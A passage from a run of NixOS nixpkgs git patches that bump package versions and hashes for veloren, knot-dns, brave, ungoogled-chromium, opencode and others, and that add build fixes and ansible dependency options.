+ impl From<Ori> for vek::quaternion::repr_simd::Quaternion<f32> {
+     fn from(Ori(Quaternion { x, y, z, w }): Ori) -> Self {
+         vek::quaternion::repr_simd::Quaternion { x, y, z, w }
+     }
+ }
++*/
+ 
+ impl From<Ori> for Dir {
+     fn from(ori: Ori) -> Self { ori.look_dir() }
+@@ -390,17 +394,21 @@ impl From<Ori> for Vec3<f32> {
+     fn from(ori: Ori) -> Self { ori.look_vec() }
+ }
+ 
++/*
+ impl From<Ori> for vek::vec::repr_simd::Vec3<f32> {
+     fn from(ori: Ori) -> Self { vek::vec::repr_simd::Vec3::from(ori.look_vec()) }
+ }
++*/
+ 
+ impl From<Ori> for Vec2<f32> {
+     fn from(ori: Ori) -> Self { ori.look_dir().to_horizontal().unwrap_or_default().xy() }
+ }
+ 
++/*
+ impl From<Ori> for vek::vec::repr_simd::Vec2<f32> {
+     fn from(ori: Ori) -> Self { vek::vec::repr_simd::Vec2::from(ori.look_vec().xy()) }
+ }
++*/
+ 
+ // Validate at Deserialization
+ #[derive(Copy, Clone, Default, Debug, PartialEq, Serialize, Deserialize)]
+diff --git a/voxygen/anim/src/plugin/mod.rs b/voxygen/anim/src/plugin/mod.rs
+index 224cc644e..534f6426d 100644
+--- a/voxygen/anim/src/plugin/mod.rs
++++ b/voxygen/anim/src/plugin/mod.rs
+@@ -5,7 +5,8 @@ use super::{
+     Skeleton,
+ };
+ use common::comp;
+-use vek::quaternion::repr_simd::Quaternion;
++// use vek::quaternion::repr_simd::Quaternion;
++use vek::Quaternion;
+ 
+ pub type Body = comp::plugin::Body;
+ 
+diff --git a/voxygen/anim/src/vek.rs b/voxygen/anim/src/vek.rs
+index a056cd664..b4ded62a9 100644
+--- a/voxygen/anim/src/vek.rs
++++ b/voxygen/anim/src/vek.rs
+@@ -1,8 +1,10 @@
++/*
+ pub use ::vek::{
+     geom::repr_simd::*, mat::repr_simd::column_major::Mat4, ops::*, quaternion::repr_simd::*,
+     transform::repr_simd::*, transition::*, vec::repr_simd::*,
+ };
+-/*pub use ::vek::{
++*/
++pub use ::vek::{
+     bezier::repr_c::*, geom::repr_c::*, mat::repr_c::column_major::Mat4, ops::*,
+     quaternion::repr_c::*, transform::repr_c::*, transition::*, vec::repr_c::*,
+-};*/
++};
+diff --git a/voxygen/src/scene/math.rs b/voxygen/src/scene/math.rs
+index 6caf30b7d..7ca3d7953 100644
+--- a/voxygen/src/scene/math.rs
++++ b/voxygen/src/scene/math.rs
+@@ -1,9 +1,10 @@
+ use core::{iter, mem};
+ use hashbrown::HashMap;
+ use num::traits::Float;
++/*
+ pub use vek::{geom::repr_simd::*, mat::repr_simd::column_major::Mat4, ops::*, vec::repr_simd::*};
+-//pub use vek::{geom::repr_c::*, mat::repr_c::column_major::Mat4, ops::*,
+-// vec::repr_c::*};
++*/
++pub use vek::{geom::repr_c::*, mat::repr_c::column_major::Mat4, ops::*, vec::repr_c::*};
+ 
+ pub fn aabb_to_points<T: Float>(bounds: Aabb<T>) -> [Vec3<T>; 8] {
+     [
diff --git a/pkgs/by-name/ve/veloren/package.nix b/pkgs/by-name/ve/veloren/package.nix
index 6af10dc7ac16..b0e59713be0b 100644
--- a/pkgs/by-name/ve/veloren/package.nix
+++ b/pkgs/by-name/ve/veloren/package.nix
@@ -14,9 +14,9 @@
 let
   # Note: use this to get the release metadata
   # https://gitlab.com/api/v4/projects/10174980/repository/tags/v{version}
-  version = "0.16.0";
-  date = "2023-03-30-03:28";
-  rev = "80fe5ca64b40fbf3e0e393a44f8880a79a6a5380";
+  version = "0.17.0";
+  date = "2024-12-28-12:49";
+  rev = "a1be5a7bece7af43ebd76910eb0020c1cf3c0798";
 in
 
 rustPlatform.buildRustPackage {
@@ -27,7 +27,7 @@ rustPlatform.buildRustPackage {
     owner = "veloren";
     repo = "veloren";
     inherit rev;
-    hash = "sha256-h2hLO227aeK2oEFfdGMgmtMkA9cn9AgQ9w6myb+8W8c=";
+    hash = "sha256-AnmXn4GWzxu27FUyQIIVnANtu3sr0NIi7seN7buAtL8=";
   };
 
   cargoPatches = [
@@ -35,8 +35,7 @@ rustPlatform.buildRustPackage {
     ./fix-assets-path.patch
   ];
 
-  useFetchCargoVendor = true;
-  cargoHash = "sha256-3XHuAgue0Id1oxCJ8NLZ4wYjMfND+C1iIW+AnMKXd54=";
+  cargoHash = "sha256-Uj0gFcStWhIS+GbM/Hn/vD2PrA0ftzEnMnCwV0n0g7g=";
 
   postPatch = ''
     # Force vek to build in unstable mode
@@ -62,10 +61,11 @@ rustPlatform.buildRustPackage {
   env = {
     # Enable unstable features, see https://gitlab.com/veloren/veloren/-/issues/264
     RUSTC_BOOTSTRAP = true;
+    RUSTC_BREAK_ON_ICE = true;
 
     # Set version info, required by veloren-common
     NIX_GIT_TAG = "v${version}";
-    NIX_GIT_HASH = "${lib.substring 0 7 rev}/${date}";
+    NIX_GIT_HASH = "${lib.substring 0 8 rev}/${date}";
 
     # Save game data under user's home directory,
     # otherwise it defaults to $out/bin/../userdata
@@ -101,7 +101,7 @@ rustPlatform.buildRustPackage {
   '';
 
   meta = with lib; {
-    description = "An open world, open source voxel RPG";
+    description = "Open world, open source voxel RPG";
     homepage = "https://www.veloren.net";
     license = licenses.gpl3;
     mainProgram = "veloren-voxygen";

From 6c8b9347b418eea2c59082a32c80fee2e43591c2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 29 Jul 2025 13:48:09 +0000
Subject: [PATCH 3046/4511] knot-dns: 3.4.7 -> 3.4.8

(cherry picked from commit e186d064fee9b9fdec57710e4dae17cae3b1c823)
---
 pkgs/by-name/kn/knot-dns/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/kn/knot-dns/package.nix b/pkgs/by-name/kn/knot-dns/package.nix
index 5cadd628bffb..60244c2cf8c5 100644
--- a/pkgs/by-name/kn/knot-dns/package.nix
+++ b/pkgs/by-name/kn/knot-dns/package.nix
@@ -33,11 +33,11 @@
 
 stdenv.mkDerivation rec {
   pname = "knot-dns";
-  version = "3.4.7";
+  version = "3.4.8";
 
   src = fetchurl {
     url = "https://secure.nic.cz/files/knot-dns/knot-${version}.tar.xz";
-    sha256 = "sha256-3TRspvOvq83F6boJ3WZ7AQWQu2akL0VBAh+51vBz2sw=";
+    sha256 = "sha256-ZzCnPb/BLXnYAA/+ItNtBot0Z+dL7h6xIqxJNezqSfk=";
   };
 
   outputs = [

From c4f1c2e8cc345c70485a25c76bcc1d1ca6f6da03 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 31 Jul 2025 07:24:00 +0000
Subject: [PATCH 3047/4511] firefly-iii-data-importer: 1.7.8 -> 1.7.9

(cherry picked from commit 05ecdc0aa168fafb60a9bbaf4e0d31f61f913d63)
---
 pkgs/by-name/fi/firefly-iii-data-importer/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
index 8a28ecfd5a0d..d83d63924394 100644
--- a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
+++ b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii-data-importer";
-  version = "1.7.8";
+  version = "1.7.9";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "data-importer";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-ZsrzB9jO9huMb7N6J+LPAKOGisIjuXaXAGhyewWC+cA=";
+    hash = "sha256-CKw4FnEJVZHt7W7kxJRjTx0lW3akYap7VVil5cFSJZU=";
   };
 
   buildInputs = [ php84 ];
@@ -38,12 +38,12 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   composerStrictValidation = true;
   strictDeps = true;
 
-  vendorHash = "sha256-mgliWS/PrGGGc0we8/TH/7xitbXtZFCrFBF+ElNYXBA=";
+  vendorHash = "sha256-0qfpta3l7KXofzAw7V14KU9mRzPPSoh9435Z+Xj3cqU=";
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-28Y8fM88Z83VVZMm3ZanP9CskUWCE3043lgoP7WhW/I=";
+    hash = "sha256-hY7QcQiDIJhGJk4X4lQ3qDn9WHwMF+jn2NDkKsHXeHY=";
   };
 
   composerRepository = php84.mkComposerRepository {

From 2743ffc346a1c51b66feec0574f1a3f7e8cff76a Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Wed, 30 Jul 2025 19:56:00 +0200
Subject: [PATCH 3048/4511] models-dev: add patch to rename hashed index file
 back to index.html

This change addresses an issue in Bun 1.2.13 (used in release 25.05)
where HTML entry points are generated with a hash appended to the
filename. As a result, the build fails unless the hashed index file is
renamed back to `index.html`.

The added patch scans the `./dist` directory for the hashed index
file and renames it back to `index.html` to ensure compatibility with
subsequent build steps.

(cherry picked from commit faadfb7ab834799df3e1344a475e0231c3c13424)
---
 pkgs/by-name/mo/models-dev/package.nix         |  7 +++++++
 .../post-build-rename-index-file.patch         | 18 ++++++++++++++++++
 2 files changed, 25 insertions(+)
 create mode 100644 pkgs/by-name/mo/models-dev/post-build-rename-index-file.patch

diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
index e648cf1445dd..75e8da980f62 100644
--- a/pkgs/by-name/mo/models-dev/package.nix
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -41,6 +41,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
     dontConfigure = true;
 
+    patches = [
+      # In bun 1.2.13 (release-25.05) HTML entrypoints get content hashes
+      # appended → index.html becomes index-pq8vj7za.html in ./dist. So, we
+      # rename the index file back to index.html
+      ./post-build-rename-index-file.patch
+    ];
+
     buildPhase = ''
       runHook preBuild
 
diff --git a/pkgs/by-name/mo/models-dev/post-build-rename-index-file.patch b/pkgs/by-name/mo/models-dev/post-build-rename-index-file.patch
new file mode 100644
index 000000000000..2af79dbc92f9
--- /dev/null
+++ b/pkgs/by-name/mo/models-dev/post-build-rename-index-file.patch
@@ -0,0 +1,18 @@
+diff --git i/packages/web/script/build.ts w/packages/web/script/build.ts
+index 9bdcdb3..e9ce1c9 100755
+--- i/packages/web/script/build.ts
++++ w/packages/web/script/build.ts
+@@ -14,6 +14,13 @@ for await (const file of new Bun.Glob("./public/*").scan()) {
+   await Bun.write(file.replace("./public/", "./dist/"), Bun.file(file));
+ }
+ 
++const distFiles = await fs.readdir("./dist");
++const htmlFile = distFiles.find(file => file.startsWith("index-") && file.endsWith(".html"));
++
++if (htmlFile) {
++  await fs.rename(`./dist/${htmlFile}`, "./dist/index.html");
++}
++
+ let html = await Bun.file("./dist/index.html").text();
+ html = html.replace("<!--static-->", Rendered);
+ await Bun.write("./dist/index.html", html);

From cbee154d0127461553531ec10273985671b81c02 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Wed, 30 Jul 2025 20:01:50 +0200
Subject: [PATCH 3049/4511] models-dev: 0-unstable-2025-07-29 ->
 0-unstable-2025-07-30

(cherry picked from commit c9afcd6326f71bc89927ad8ab67bf3820b16b60b)
---
 pkgs/by-name/mo/models-dev/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
index 75e8da980f62..d93944c884a2 100644
--- a/pkgs/by-name/mo/models-dev/package.nix
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -17,12 +17,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "models-dev";
-  version = "0-unstable-2025-07-29";
+  version = "0-unstable-2025-07-30";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "models.dev";
-    rev = "69e91b1cee1dbd737dc60f5f99ce123a81763cda";
-    hash = "sha256-fr4cgQsW03ukgCxNBtlokAXmqjGh1fFJucWx1dJ7xV0=";
+    rev = "2bc25f1c57a61c0bcb29e4a7ed331be332991c15";
+    hash = "sha256-xCYu8AsTtH9ZVhFZ/sxukj92RSwZGmeQRE3COmiRqI4=";
   };
 
   node_modules = stdenvNoCC.mkDerivation {

From 2ef9d50b8a085a5f8f1bef7f72d27a267615ff22 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Thu, 31 Jul 2025 00:49:37 +0200
Subject: [PATCH 3050/4511] ungoogled-chromium: 138.0.7204.168-1 ->
 138.0.7204.183-1

https://chromereleases.googleblog.com/2025/07/stable-channel-update-for-desktop_29.html

This update includes 4 security fixes.

CVEs:
CVE-2025-8292

(cherry picked from commit 8acafa1a71ba996e800e1cd66f836336a175cdba)
---
 .../networking/browsers/chromium/info.json     | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 098478312d47..2ea17ddf2f93 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,7 +802,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "138.0.7204.168",
+    "version": "138.0.7204.183",
     "deps": {
       "depot_tools": {
         "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
@@ -813,16 +813,16 @@
         "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM="
       },
       "ungoogled-patches": {
-        "rev": "138.0.7204.168-1",
-        "hash": "sha256-QmHw0sLnVvMwVu/r4L2XS0S31vl+6NJb0zV63iihhkk="
+        "rev": "138.0.7204.183-1",
+        "hash": "sha256-fJv7R8d/vmPROQUaxxqGoFtEqdEioOJuQ1Cnie7auJI="
       },
       "npmHash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "3e8d82e86e9f508e88ed406c2a24657a6c691d30",
-        "hash": "sha256-6s9mkfckhibpb+L74oPZsgvOZZT58BeSo362t/s92UI=",
+        "rev": "e90faf484ddbc033fc9bf337621761d3dd5c5289",
+        "hash": "sha256-/UFIed+S9XLmR3p8KVnIncxl3a7bIqKPLh6vcEMvAsE=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -1047,8 +1047,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "a718e86b3dc6f1ba3c8cc8092cd79b401d428cfc",
-        "hash": "sha256-50KQk54JwwRS3ENUjB0QedQYFuwmkv9oxytfuNDTVPo="
+        "rev": "634ef4ab735f8fc717eb17935d5a0f1b9831d852",
+        "hash": "sha256-DwkvDbYKdHfpfKXYaszcK/54Zi2Q52dd9QAUR+Ex+b4="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1597,8 +1597,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "f5036f509b5e147cccb298a069c40827f3d5edd6",
-        "hash": "sha256-n4/Lf5ZawqUY0QHF2jYl3JPPx9Br/wzVmtqnMvq3Vzk="
+        "rev": "54f355e9ad22c93162d7d9d94c849c729d64bee7",
+        "hash": "sha256-/2cw/iZ9zbCMMiANUfsWpxYUzA3FDfUIrjoJh/jc0XI="
       }
     }
   }

From 6c57939efd895e78a7094886cf0e7f6a53a06da3 Mon Sep 17 00:00:00 2001
From: Sean Buckley <sean.bck@gmail.com>
Date: Wed, 30 Jul 2025 17:23:57 -0400
Subject: [PATCH 3051/4511] brave: 1.80.124 -> 1.80.125

https://community.brave.com/t/release-channel-1-80-125/636492
(cherry picked from commit 5336b4c3eba5f6e0158b15f0d075c65dfefe6b4c)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index 54dc21c11237..b0f1fbc04d89 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.80.124";
+  version = "1.80.125";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-K3AlYkAMDz988klsGTqYtvt3tswyLa5PhTdy4f0mU9E=";
+      hash = "sha256-FfD0HNcA/OgDOgDvqTdn+C0PlazX/VuBh6xxvy1+4JM=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-4WP9uGuFcpW9Z0omqQBDTAjr+XCYa9mXcJGnxcm2inQ=";
+      hash = "sha256-ih1XSJgDGj2gAwkyUJiOyKruvpouco+iWyOEyz67M2k=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-vgqYktoVPDOmhibes9ghPcV2cpnyxliKvmELI8Brh0I=";
+      hash = "sha256-GjxeUJgQ+8Mq6cY6yA4fMFKM0LH59VJYOwRe1d0zI3c=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-hVKuO3sSMc+yQiwHpwgYxfh7tyXHUpcWNQO6o9uf5Ro=";
+      hash = "sha256-NA5HRQtBh0oEy2K17iYocoDMJP5Bdg2d/SGpuVwE1nA=";
     };
   };
 

From c451cbe29796db1fc762e4e0ae6269cf3b0ce4d9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maciej=20Kr=C3=BCger?= <mkg20001@gmail.com>
Date: Wed, 27 Mar 2024 19:35:31 +0100
Subject: [PATCH 3052/4511] ansible: add extraPackages option

(cherry picked from commit ac983b702d1b0e3c732dd57e43d192355fa122cb)
---
 pkgs/development/python-modules/ansible/core.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/ansible/core.nix b/pkgs/development/python-modules/ansible/core.nix
index ab334d4a10a5..419353af3064 100644
--- a/pkgs/development/python-modules/ansible/core.nix
+++ b/pkgs/development/python-modules/ansible/core.nix
@@ -2,6 +2,7 @@
   lib,
   buildPythonPackage,
   fetchPypi,
+  python,
   pythonOlder,
   installShellFiles,
   docutils,
@@ -25,6 +26,8 @@
   windowsSupport ? false,
   pywinrm,
   xmltodict,
+  # Additional packages to add to dependencies
+  extraPackages ? _: [ ],
 }:
 
 buildPythonPackage rec {
@@ -88,7 +91,8 @@ buildPythonPackage rec {
     scp
     xmltodict
   ]
-  ++ lib.optionals windowsSupport [ pywinrm ];
+  ++ lib.optionals windowsSupport [ pywinrm ]
+  ++ extraPackages python.pkgs;
 
   pythonRelaxDeps = [ "resolvelib" ];
 

From 335e728d192a23f06512ac94be9f962d47641daf Mon Sep 17 00:00:00 2001
From: Stanislav Asunkin <1353637+stasjok@users.noreply.github.com>
Date: Tue, 17 May 2022 11:18:31 +0300
Subject: [PATCH 3053/4511] ansible: add jmespath by default

(cherry picked from commit c9d7e1665f68862538e72c8cee629483ab01fee4)
---
 pkgs/development/python-modules/ansible/default.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/development/python-modules/ansible/default.nix b/pkgs/development/python-modules/ansible/default.nix
index b0e18f9b292b..03e75b1e428f 100644
--- a/pkgs/development/python-modules/ansible/default.nix
+++ b/pkgs/development/python-modules/ansible/default.nix
@@ -4,6 +4,7 @@
   buildPythonPackage,
   fetchPypi,
   setuptools,
+  jmespath,
   jsonschema,
   jxmlease,
   ncclient,
@@ -63,6 +64,10 @@ buildPythonPackage {
       xmltodict
       # ansible.windows
 
+      # Default ansible collections dependencies
+      # community.general
+      jmespath
+
       # lots of collections with dedicated requirements.txt and pyproject.toml files,
       # add the dependencies for the collections you need conditionally and install
       # ansible using overrides to enable the collections you need.

From 3edd070f7c3f1db2edd4860b30e50f1d76e21767 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 31 Jul 2025 10:51:27 +0200
Subject: [PATCH 3054/4511] models-dev: move patches to top-level deviration

Fixes 2743ffc346a1c51b66feec0574f1a3f7e8cff76a

(cherry picked from commit 2ee71ec9a1db5ebfcb9ec68038771f877bb7f1f3)
---
 pkgs/by-name/mo/models-dev/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
index d93944c884a2..2ee9122868f2 100644
--- a/pkgs/by-name/mo/models-dev/package.nix
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -41,13 +41,6 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
     dontConfigure = true;
 
-    patches = [
-      # In bun 1.2.13 (release-25.05) HTML entrypoints get content hashes
-      # appended → index.html becomes index-pq8vj7za.html in ./dist. So, we
-      # rename the index file back to index.html
-      ./post-build-rename-index-file.patch
-    ];
-
     buildPhase = ''
       runHook preBuild
 
@@ -80,6 +73,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ bun ];
 
+  patches = [
+    # In bun 1.2.13 (release-25.05) HTML entrypoints get content hashes
+    # appended → index.html becomes index-pq8vj7za.html in ./dist. So, we
+    # rename the index file back to index.html
+    ./post-build-rename-index-file.patch
+  ];
+
   configurePhase = ''
     runHook preConfigure
 

From 299ae57658dd8c3fe5506a1bc4720860b990e931 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 31 Jul 2025 10:53:12 +0200
Subject: [PATCH 3055/4511] models-dev: 0-unstable-2025-07-30 ->
 0-unstable-2025-07-31

(cherry picked from commit 5b54c60b87031b927e224a0be5014fe93b4fab55)
---
 pkgs/by-name/mo/models-dev/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/models-dev/package.nix b/pkgs/by-name/mo/models-dev/package.nix
index 2ee9122868f2..0c0ffbf851ba 100644
--- a/pkgs/by-name/mo/models-dev/package.nix
+++ b/pkgs/by-name/mo/models-dev/package.nix
@@ -17,12 +17,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "models-dev";
-  version = "0-unstable-2025-07-30";
+  version = "0-unstable-2025-07-31";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "models.dev";
-    rev = "2bc25f1c57a61c0bcb29e4a7ed331be332991c15";
-    hash = "sha256-xCYu8AsTtH9ZVhFZ/sxukj92RSwZGmeQRE3COmiRqI4=";
+    rev = "60f2d80bc087ded768a8c6c36981f43822871c78";
+    hash = "sha256-mE+ptgTETbF/QIhMwOOVkbT9Jeus8ceGbninagPqgeU=";
   };
 
   node_modules = stdenvNoCC.mkDerivation {

From 32f5e6c87ccf789b80740b0d21fc93a49cbc278e Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Fri, 11 Jul 2025 20:46:56 +0200
Subject: [PATCH 3056/4511] opencode: use `models-dev` package instead of
 fetching from online api

- Added `models-dev` to `nativeBuildInputs`.
- Removed the old patch that fetched data from a remote URL and
  introduced a new patch to read from a local file if a path is provided
  via the `MODELS_DEV_API_JSON` environment variable.

(cherry picked from commit a317d6f6cea9f791324b21f7e9c586d0475e9f8b)
---
 .../op/opencode/fix-models-macro.patch        |  8 -------
 .../op/opencode/local-models-dev.patch        | 20 ++++++++++++++++++
 pkgs/by-name/op/opencode/package.nix          | 21 +++++++++----------
 3 files changed, 30 insertions(+), 19 deletions(-)
 delete mode 100644 pkgs/by-name/op/opencode/fix-models-macro.patch
 create mode 100644 pkgs/by-name/op/opencode/local-models-dev.patch

diff --git a/pkgs/by-name/op/opencode/fix-models-macro.patch b/pkgs/by-name/op/opencode/fix-models-macro.patch
deleted file mode 100644
index 662ee617de83..000000000000
--- a/pkgs/by-name/op/opencode/fix-models-macro.patch
+++ /dev/null
@@ -1,8 +0,0 @@
---- a/packages/opencode/src/provider/models-macro.ts
-+++ b/packages/opencode/src/provider/models-macro.ts
-@@ -1,4 +1,3 @@
- export async function data() {
--  const json = await fetch("https://models.dev/api.json").then((x) => x.text())
--  return json
-+  return process.env.MODELS_JSON || '{}';
- }
diff --git a/pkgs/by-name/op/opencode/local-models-dev.patch b/pkgs/by-name/op/opencode/local-models-dev.patch
new file mode 100644
index 000000000000..21ecd38fb0c8
--- /dev/null
+++ b/pkgs/by-name/op/opencode/local-models-dev.patch
@@ -0,0 +1,20 @@
+diff --git i/packages/opencode/src/provider/models-macro.ts w/packages/opencode/src/provider/models-macro.ts
+index 91a0348..4f60069 100644
+--- i/packages/opencode/src/provider/models-macro.ts
++++ w/packages/opencode/src/provider/models-macro.ts
+@@ -1,4 +1,15 @@
+ export async function data() {
++  const localApiJsonPath = process.env.MODELS_DEV_API_JSON
++  
++  // Try to read from local file if path is provided
++  if (localApiJsonPath) {
++    const localFile = Bun.file(localApiJsonPath)
++    if (await localFile.exists()) {
++      return await localFile.text()
++    }
++  }
++  
++  // Fallback to fetching from remote URL
+   const json = await fetch("https://models.dev/api.json").then((x) => x.text())
+   return json
+ }
diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 712e796f75f0..369e524cbbd0 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -4,7 +4,7 @@
   buildGoModule,
   bun,
   fetchFromGitHub,
-  fetchurl,
+  models-dev,
   nix-update-script,
   testers,
   writableTmpDirAsHomeHook,
@@ -106,17 +106,15 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     outputHashMode = "recursive";
   };
 
-  models-dev-data = fetchurl {
-    url = "https://models.dev/api.json";
-    sha256 = "sha256-igxQOC+Hz2FnXIW/S4Px9WhRuBhcIQIHO+7U8jHU1TQ=";
-  };
-
-  nativeBuildInputs = [ bun ];
+  nativeBuildInputs = [
+    bun
+    models-dev
+  ];
 
   patches = [
-    # Patch `packages/opencode/src/provider/models-macro.ts` to load the prefetched `models.dev/api.json`
-    # from the `MODELS_JSON` environment variable instead of fetching it at build time.
-    ./fix-models-macro.patch
+    # Patch `packages/opencode/src/provider/models-macro.ts` to get contents of
+    # `api.json` from the file bundled with `bun build`.
+    ./local-models-dev.patch
   ];
 
   configurePhase = ''
@@ -127,10 +125,11 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     runHook postConfigure
   '';
 
+  env.MODELS_DEV_API_JSON = "${models-dev}/dist/api.json";
+
   buildPhase = ''
     runHook preBuild
 
-    export MODELS_JSON="$(cat ${finalAttrs.models-dev-data})"
     bun build \
       --define OPENCODE_VERSION="'${finalAttrs.version}'" \
       --compile \

From 381f7604889d9bf2199fa1f397c93a9c1a7680ff Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 17 Jul 2025 11:29:32 +0200
Subject: [PATCH 3057/4511] opencode: 0.2.33 -> 0.3.22

(cherry picked from commit 242e80f393307d6d79f3e24ff378448bf6271c37)
---
 pkgs/by-name/op/opencode/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 369e524cbbd0..308413c71bba 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -12,10 +12,10 @@
 
 let
   opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-uk8HQfHCKTAW54rNHZ1Rr0piZzeJdx6i4o0+xKjfFZs=";
-    "aarch64-linux" = "sha256-gDQh8gfFKl0rAujtos1XsCUnxC2Vjyq9xH5FLZoNW5s=";
-    "x86_64-darwin" = "sha256-H5+qa7vxhwNYRXUo4v8IFUToVXtyXzU3veIqu4idAbU=";
-    "x86_64-linux" = "sha256-1ZxetDrrRdNNOfDOW2uMwMwpEs5S3BLF+SejWcRdtik=";
+    "aarch64-darwin" = "sha256-W/kIKKRt2rBbnb+42NaZ1PsHZPGJbtjB8kV/aP1iZKc=";
+    "aarch64-linux" = "sha256-xDUT61afD8wk3z35NXtQGvZQpxQkN/CPWctVObYQECE=";
+    "x86_64-darwin" = "sha256-Kumy9PeeCO3TQGDdS0Zw9/HlIIQT5O4wrBPGGyl73Og=";
+    "x86_64-linux" = "sha256-VB7bikVFy8w82M6AkYXjsHx34CNHAGMgY69KISOokE4=";
   };
   bun-target = {
     "aarch64-darwin" = "bun-darwin-arm64";
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.2.33";
+  version = "0.3.22";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-l/V9YHwuIPN73ieMT++enL1O5vecA9L0qBDGr8eRVxY=";
+    hash = "sha256-yT6uaTEKYb/+A1WhP6AQW0hWMnmS9vlfLn1E57cnzn0=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
